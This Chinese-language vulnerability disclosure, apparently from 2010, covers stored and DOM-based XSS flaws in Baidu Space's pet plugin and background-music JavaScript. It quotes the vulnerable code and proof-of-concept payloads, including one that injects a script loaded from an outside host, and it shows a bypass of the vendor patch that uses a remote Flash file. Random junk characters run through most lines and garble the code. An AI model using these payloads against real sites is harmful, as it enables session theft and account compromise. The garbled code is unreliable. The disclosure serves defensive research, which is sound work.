百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS. 3 Y% c# n- F/ v6 F. u
+ n* N' r g4 b7 |- [/ z1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.
A( @0 g4 M+ S7 Z/ f/ R& ]/ I g# `9 J2.在http://hi.baidu.com/ui/scripts/pet/pet.js中 7 y0 B; S8 W+ g9 H' d @
( }) z. F/ [; }) a2 T: J
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p> ) }" D+ e) e: R l% B }* }! F
其中BdUtil.insertWBR为
. q: m7 U; m Pfunction(text, step) {
( b( H# l, c; y( e' E var textarea = textAreaCache || getContainer();
' c! [( @# w4 P) l if (!textarea) {
/ ]( x4 ^* }9 p( w$ o8 c: \ return text; 0 b* p8 H" F2 B3 @' O3 H
}
9 _. ^* G- ~# }3 B+ S& N5 @ textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
" T. l0 K( j/ J9 J6 { var string = textarea.value;
( ^& ^2 b8 M# S( r$ c, p6 Z var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");
: w% K. d% a8 M/ `, M var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;"); 7 E3 S0 X1 Y2 H2 _+ D1 K5 c% K
return result; 7 b7 z7 `: `# a" J6 X
} 2 p5 _6 B1 [9 V4 e& t% y: M/ a" [% N
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
3 y* w# z2 n' r' [& M测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> 3 ?# P: {! ~4 M9 K
6 b% d- d* T8 u+ ?3 t- Z二:creatbgmusic() Dom-Xss Bug
, K; h% w2 H( R$ U% l# Z) Y百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
) p1 V$ x$ ^2 F7 g. L4 P& O: _ E7 K; U: k1 W2 O1 n7 Z
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码: 5 T1 J! A- A3 G
, ?7 l; g) R- z' O: M' K
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
/ K6 V# p8 S6 E- A% k7 ^) l: G //传入的murl赋值到bgmusic1和bgmusic2中 # n9 H5 J3 R7 g; G, Q( _, m
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1 % F8 c6 F% m. |1 r
var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
C- p. p% q$ b/ w if (musicnum <= 1) { - b8 ^2 y4 Q ~
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
+ U3 [: q7 R6 h9 v: S; m2 H; L }
+ ^: p1 x8 x' k& I bgmusic1 += "</OBJECT>";
& _- R) W4 `5 \! e( q% P' y( [$ [$ _ var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
5 o9 U+ Y+ u6 x% g) A/ L if (musicnum <= 1) { 7 i# D1 a1 r; r2 N% W. W1 ^1 ]4 Q" F
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
6 f+ _8 `* V* W } $ b. @+ m6 F1 Y2 T- X
bgmusic2 += "> </EMBED>";
' K$ @$ y& j1 g& B0 s: h; L var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; 3 x* r8 A$ x7 h3 p# ?6 q2 w+ U% G$ Y
var bgmus = detectWMP();
' I. U, ]3 _& d- Y if (functype == "FckMusicHelper") { ' ~# _6 I, _% n7 l
if (bgmus.installed) {
3 Z9 Z# ~' G& M' Y+ b6 P0 T. A if (bgmus.type == "IE") {
# w3 S# F4 P: Q return bgmusic1; h6 @# X; i& B) j% E9 l, c
} else if (bgmus.type == "NS") { 4 h/ h5 [! ~; L3 r$ ?
return bgmusic2; $ K1 Z* Z9 K: V
}
$ Y1 J8 h; M |! J, ^3 c+ r } else {
9 A3 i7 m8 O/ P) `, M4 m: g1 {0 u return bgmusic3; ) j. A! L. b$ }3 @+ I' c
} ; }$ V1 |$ X* Y9 Q; N* V- d) d
} else {
/ ?1 l* c4 d: ~6 N( M. ?; Q1 b if (bgmus.installed) { 8 L4 [4 t: b( Z2 ~
//document.write 直接输出bgmusic变量 导致xss " o. D( T4 v$ V# q* s- X
if (bgmus.type == "IE") {
& T$ I0 M/ C G1 R# Y. B document.write(bgmusic1); * f* N4 B+ J/ y8 O8 ~" C1 |0 s8 s# y
} else if (bgmus.type == "NS") { 4 N, x( e! @6 i& \" W+ o2 ~
document.write(bgmusic2);
* W4 A: f+ N$ A6 P/ f) Z# R }
* R3 O7 d. m7 J9 { g% X9 X) m } else { ) `- D4 o% T/ d
document.write(bgmusic3);
' n' l. Z: [7 O) F$ Y* h: A } : J# o8 T5 \5 M. K3 u
return "";
. O9 `$ Y# `% a* ^4 l* { s, n2 h# E3 Z } ) u& i+ a+ D9 j U" o, e1 B
} ! x, D8 Z" O9 N! ?' g8 V! y6 F& ]
* \/ d8 D7 h2 y( p2 p( X- b0 Q5 |0 F
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: ' g' k3 p4 n6 E
2 u$ T) K1 @. S M7 B3 qfunction initBlogTextForFCK(){
: W: h4 q- O6 d- b9 {/ o( [& k//fck init music " y3 P0 d, S0 p
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} : C1 R5 o" S; r0 J. k
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
" d5 s! g, l5 L2 X0 ~* n- ivar isAutoPlay=true;
9 ^4 |' Q% Z- P! X* U8 h% @for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. 8 M" L8 P8 u7 P6 B4 f! r8 D
var img=imgBox;
7 b: P: ^2 K9 S, ?$ D if(img.getAttribute(’rel’)){
, i) s5 B |" O) ` var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
* q$ T) r! L4 ^9 ]4 R var musicDiv = document.createElement("SPAN");
4 Z' D$ {# v$ o( g# L+ r var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
a2 J' q$ m+ q/ D, n $ W. C+ P' V& D! B q$ O' d8 W
..........................
. s W/ M: M: y6 O$ r6 z' f0 P
2 l1 ^! k. E1 G# [# ? //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
/ ^* T# U: ~" y# N var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); 9 c- T; {% X" ~5 L2 {8 b
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv);
! R- z- A2 g( D, x& Y- s2 E" ? musicDiv.innerHTML=shtml; T3 j8 X" j2 @/ A7 j9 M
i--;n--; 4 e c5 ^7 S- u3 u2 z
} ' m- l0 Z7 L% R' A' e* P6 z$ a
}
; m3 C: ~9 O' S. ~! Y
7 Y; L& y, S+ c2 r; T; {! t- ]. Q4 o. s从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS. $ a4 w; c$ [) p, F/ I% Y H
; x5 c/ t; [0 S/ ^* H' O1 o7 Y
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
) ]) L0 ~7 n( j1 Q' M: m" w! c# x$ _- T$ ^
等待官方补丁
! N7 S5 R, f$ j* L% C3 [% v, j4 ~
( q* p' C2 j. L/ P$ Jupdate 2010年5月13日 4 j. h6 J& e$ V; G" H
: J: P& b5 F, Z5 z* W8 ?! [
官方补丁: 5 g0 n4 I/ `- U) w; W
) P+ @( m- B3 O; D) x) q+ ]var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
1 }, z- `" q# x( C; ]9 k改为: * T0 q5 y5 O3 {
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
. Z8 w& @. w0 R$ E, t
6 V% h# S7 x, d) Mupdate 2010年5月13日 21:50:37
0 c# p7 p0 F" q3 m1 W5 ?, o1 e) w1 _& I( p, p
补丁存在漏洞 没有过滤" 可以继续跨:
$ o) ]/ Z- m' D! [ F$ j. Y: U0 `8 q
NEW POC: ' x) ~! \7 | f+ s
. l7 a7 K! H# D/ n
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" , E& }, _8 n3 U% U5 s, t" i
% R! I* k# U: i% s! Fallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
5 j3 p9 x: W! M+ }- U5 p $ Q) u* F- J3 w. t9 X6 L$ C
|